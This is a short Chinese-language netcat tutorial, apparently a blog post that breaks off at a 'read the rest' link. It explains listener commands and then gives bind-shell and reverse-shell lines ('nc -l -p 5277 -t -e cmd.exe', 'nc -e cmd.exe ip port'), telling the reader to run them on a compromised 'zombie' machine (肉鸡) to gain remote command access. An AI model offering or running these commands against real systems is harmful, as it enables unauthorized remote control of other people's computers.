命令1：监听命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
参数解释：
-l：监听端口，监听入站信息
-p：后跟本地端口号
-v：显示端口的信息，如果使用-vv的话，则会显示端口更详细的信息
提示：一般大家都爱用-vv
nc -l -p 80
这个很简单，监听80端口
如果机器上运行这个命令，端口80被认为是开放的，可以欺骗很多扫描器的哦！
nc -l -p 80 > e:\log.dat
呵呵，功能和上边一样，但是后边加了个"> e:\log.dat"我想，学过ECHO
那个命令的人都会知道吧，是在E盘创建一个log.dat的日志文件
nc -l -v -p 80
和上边命令相似，不过这次不是记录在文件里，而是会直接显示在运行着NC
的屏幕上。
呵呵，讲了这么多，来实践下
nc -l -v -p 80
然后在浏览器中输入本机IP：127.0.0.1
呵呵，看到什么？
同样，上边两个也是一样，大家自己试验一下吧
命令2：程序定向
nc -l -p port -t -e cmd.exe
本地机： nc -l -p port 或 nc -l -v -p port
目标机：nc -e cmd.exe ip port
参数解释：
-l、-p两个参数已经解释过了
-e；作用就是程序定向
-t：以telnet的形式来应答
例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗？千万不要运行在自己的机器上，如果运行了，你机器
就会变成一台TELNET的服务器了，呵呵，解释一下：监听本地端口5277的
入站信息，同时将CMD.exe这个程序，重定向到端口5277上，当有人连接的时候，就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了，其实就是让他成为一台TELNET的肉鸡，所以这个命令要运行在你的肉鸡上。。（话外音：说这么多遍当我们白痴啊，快往下讲！！！）
呵呵，咱们来找台肉鸡试试，我TELNET IP 5277
HOHO~~如何？
local machine：nc -l -p port ( or nc -l -v -p port )
remote machine：nc -e cmd.exe ip port Read the rest of this entry